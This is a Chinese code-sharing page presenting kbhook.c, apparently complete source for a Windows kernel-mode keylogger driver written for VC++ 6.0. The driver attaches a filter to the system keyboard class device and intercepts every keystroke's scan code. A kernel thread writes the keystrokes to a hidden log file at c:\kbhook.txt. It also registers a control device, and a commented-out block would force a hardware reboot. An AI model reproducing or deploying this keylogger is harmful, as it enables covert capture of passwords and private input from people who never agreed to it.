⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 kbhook.c

📁 实现驱动程序级别的键盘记录功能的源代码!!使用vc++6.0实现!!程序可以记录键盘信息
💻 C
字号:
//#include  <ntddk.h>
#include "kbhook.h"
#include "ScanCode.h"
#include   <windef.h>
int numPendingIrps=0;
//
//ICTOL 以及控制设备的相关变量
//
#define IOCTL_PASSPROCESSID \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
UNICODE_STRING  devNameUnicd;
UNICODE_STRING  devLinkUnicd;
PDEVICE_OBJECT  pDevice;  //控制设备的设备对象
NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp); //DeviceIoControl的处理函数

VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{			
	KTIMER kTimer;
	LARGE_INTEGER timeout;	
	PDEVICE_EXTENSION pKeyboradDeviceExtension;
	pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
	IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
	timeout.QuadPart=1000000;//1s
	KeInitializeTimer(&kTimer);
	while(numPendingIrps > 0)
	{
		KeSetTimer(&kTimer,timeout,NULL);
		KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
		
	}
	pKeyboradDeviceExtension->bThreadTerminate=TRUE;
	KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会
	KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
		Executive,KernelMode,FALSE,NULL);             //结束独立的记录线程
	ZwClose(pKeyboradDeviceExtension->hLogFile);      //关闭文件句柄
	IoDeleteDevice(theDriverObject->DeviceObject);    //删除设备对象
	
	IoDeleteSymbolicLink(&devLinkUnicd);
	IoDeleteDevice(pDevice);
	DbgPrint("My Driver Unloaded!");
	return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
	

	NTSTATUS status={0};
	int i;
	PDEVICE_EXTENSION pKeyboardDeviceExtension;
	
	IO_STATUS_BLOCK file_status;
	OBJECT_ATTRIBUTES obj_attrib;
	CCHAR ntNameFile[100]="\\DosDevices\\c:\\kbhook.txt";
	STRING ntNameString;
	UNICODE_STRING uFileName;
	
	for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
		
		theDriverObject->MajorFunction[i] = DispatchPassDown;
	theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
	
	HookKeyboard(theDriverObject);
	//建立一个线程用来记录键盘动作
	InitThreadKeyLogger(theDriverObject);
	
	/////////////////////////////////////////////////////////////////////////////////////////////
	////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////
	pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
	InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

	KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
	KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
	////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////
	RtlInitAnsiString(&ntNameString,ntNameFile);
	RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
	InitializeObjectAttributes(&obj_attrib,&uFileName,
								OBJ_CASE_INSENSITIVE,
								NULL,NULL);
	
	status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
		GENERIC_WRITE,
		&obj_attrib,
		&file_status,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		0,
		FILE_OPEN_IF,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);
	RtlFreeUnicodeString(&uFileName);
	
	theDriverObject->DriverUnload=OnUnload;

  //NTSTATUS  Status;
  //PDEVICE_OBJECT  pDevice;
  RtlInitUnicodeString(&devNameUnicd,L"\\Device\\PANZER3");
  RtlInitUnicodeString(&devLinkUnicd,L"\\??\\PANZER3");
  status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN,
      0,FALSE,&pDevice);
	  if(!NT_SUCCESS(status)) 
  {
      DbgPrint(("Can not create device.\n"));
      return status;
  }
  status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd);
  if(!NT_SUCCESS(status)) 
  {
      DbgPrint(("Can not create device.SymbolicLink\n"));
      return status;
	  }
  theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
	      theDriverObject->MajorFunction[IRP_MJ_CREATE]=
           theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;
  DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice);
	return STATUS_SUCCESS;
	
}
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{   ///IRQL = passive level
	//建立过滤驱动对象
	PDEVICE_EXTENSION pKeyboardDeviceExtension;
	PDEVICE_OBJECT pKeyboardDeviceObject;
	CCHAR ntNameBuffer[50]="\\Device\\keyboardClass0";
	STRING ntNameString;
	UNICODE_STRING uKeyboardDevice;
	
	NTSTATUS status=IoCreateDevice(theDriverObject,
								sizeof(DEVICE_EXTENSION),
								NULL,
								FILE_DEVICE_KEYBOARD, //★注意这里
								0,
								TRUE,
								&pKeyboardDeviceObject);
	if(!NT_SUCCESS(status))
		return status;
	/////////// 设置新设备的标志与地层键盘设备标记相同
	pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
	pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
	//在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。
	//然而,如果创建了其它设备对象,则需要进行该清除工作。
	//对DEVICE_EXTENSION结构清0
	
	RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
	
	pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
	/////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////
	
	RtlInitAnsiString(&ntNameString,ntNameBuffer);
	RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
	//准备工作完成后放置过滤钩子
	IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
		&pKeyboardDeviceExtension->pKeyboardDevice);
	RtlFreeUnicodeString(&uKeyboardDevice);
	
	return STATUS_SUCCESS;
}

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)
{// IRQL = passive level
	PDEVICE_EXTENSION pKeyboardDeviceExtension;
	HANDLE hThread;
	NTSTATUS status;
	pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
	//////////////////////设置线程状态////////////////////////////////////
	pKeyboardDeviceExtension->bThreadTerminate=FALSE;
	////////////创建一个线程用来记录////////////////////////////////////////
	status=PsCreateSystemThread(&hThread,
								(ACCESS_MASK)0,
								NULL,
								(HANDLE)0,
								NULL,
								ThreadKeyLogger,
								pKeyboardDeviceExtension);
	if(!NT_SUCCESS(status))
		return status;
	///////////////////////////转换保存指向线程对象的指针////////////////////////
	ObReferenceObjectByHandle(hThread,
								THREAD_ALL_ACCESS,
								NULL,
								KernelMode,
								(PVOID*)&pKeyboardDeviceExtension->pThreadObject,
								NULL);
	ZwClose(hThread);
	return status;
}
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{   // IRQL = passive level
	IoSkipCurrentIrpStackLocation(pIrp);
	return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
	
}
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{	// IRQL = DISPATCH_LEVEL
	
	
	IoCopyCurrentIrpStackLocationToNext(pIrp);
	
	IoSetCompletionRoutine(pIrp,
		OnReadCompletion,
		theDeviceObject,
		TRUE,
		TRUE,
		TRUE);
	
	
	numPendingIrps++;  //纪录挂起的irp数目
	
	return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
	PKEYBOARD_INPUT_DATA keys;
	int numKeys;
	int i;
	KEY_DATA* kData;
	PDEVICE_EXTENSION pKeyboardDeviceExtension;
	pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
	if(pIrp->IoStatus.Status==STATUS_SUCCESS)
	{
		
		keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
		numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
		for( i=0;i<numKeys;i++)
		{
			if(keys[i].Flags==KEY_MAKE)
				DbgPrint("%s\n","Key Down,IrpCallBack FUN");
			kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
			kData->KeyData=(char)keys[i].MakeCode;
			kData->KeyFlags=(char)keys[i].Flags;
			/////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////
			ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
				&kData->ListEntry,
				&pKeyboardDeviceExtension->lockQueue);  //★注意同步
			KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
			
		}
		
	}
	if(pIrp->PendingReturned)
		IoMarkIrpPending(pIrp);
	numPendingIrps--;
	return pIrp->IoStatus.Status;
}
VOID ThreadKeyLogger(IN PVOID pContext)
{// IRQL = passive level
	PDEVICE_OBJECT pKeyboardDeviceObject;
	PDEVICE_EXTENSION pKeyboardDeviceExtension;
	PLIST_ENTRY pListEntry;
	KEY_DATA* kData;
	char keys[3]={0};
	
	pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;
	pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;
	//等待信号量,若信号量递增,则继续运行处理循环
	while(TRUE)
	{
		KeWaitForSingleObject(
			&pKeyboardDeviceExtension->semQueue,
			Executive,
			KernelMode,
			FALSE,
			NULL);
		//在链表中安全删除了最高顶端//
		pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
			&pKeyboardDeviceExtension->lockQueue);
		if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)
		{
			PsTerminateSystemThread(STATUS_SUCCESS);
		}
		kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
		
		ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
		ExFreePool(kData);  //删除内存
		if(keys!=0)
		{
			if(pKeyboardDeviceExtension->hLogFile!=NULL)
			{
				IO_STATUS_BLOCK io_status;
				NTSTATUS status;
				status=ZwWriteFile(
					pKeyboardDeviceExtension->hLogFile,
					NULL,
					NULL,
					NULL,
					&io_status,
					&keys,
					strlen(keys),
					NULL,
					NULL);
				if(status!=STATUS_SUCCESS)
					DbgPrint("write code to file fail!");
			}
		}		
	}
	return;
}
//////////ConvertScanCodeToKeyCode 函数用来转换接受的击键码

//
//控制设备的IOControl函数
//

 NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp)
{

	  PIO_STACK_LOCATION  irpStack;
	  NTSTATUS  Status;
	  PVOID    InPutBuffer;
	  ULONG  ioControlCode;
	  ULONG  OutPutLen;
	  PEPROCESS Process;
	  
	  ULONG IOPL = 1;
	  HANDLE hProc;
	  HANDLE *pBuff = NULL;
	  Status=STATUS_SUCCESS;
	  if(pDeviceObject != pDevice)
	  {
	  DbgPrint("keyboard filter!");
	  IoSkipCurrentIrpStackLocation(pIrp);
	return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
	}
	  irpStack=IoGetCurrentIrpStackLocation(pIrp);
	  ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;
	  switch(irpStack->MajorFunction)
	  {
		case  IRP_MJ_CREATE:
		  DbgPrint("Call IRP_MJ_CREATE\n");
		  break;
		case  IRP_MJ_CLOSE:
		  DbgPrint("Call IRP_MJ_CLOSE\n");
		  break;
		case  IRP_MJ_DEVICE_CONTROL:
		  OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;
		  switch(ioControlCode)
		  {
			case IOCTL_PASSPROCESSID:
				{
			     /*_asm
			     {
			     	   mov dx, 0x64
			     	   mov al, 0xFE
			     	   out dx, al
			    }*/
                             DbgPrint("ioControlCode\n");
					
				}
			  break;
			default:
			  break;
		  }
		  break;
		default:
		  DbgPrint("no match control\n");
		  break;
	  }
	  pIrp->IoStatus.Status = Status; 
	  pIrp->IoStatus.Information = 0; 
	  IoCompleteRequest (pIrp, IO_NO_INCREMENT);
	  return  Status;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -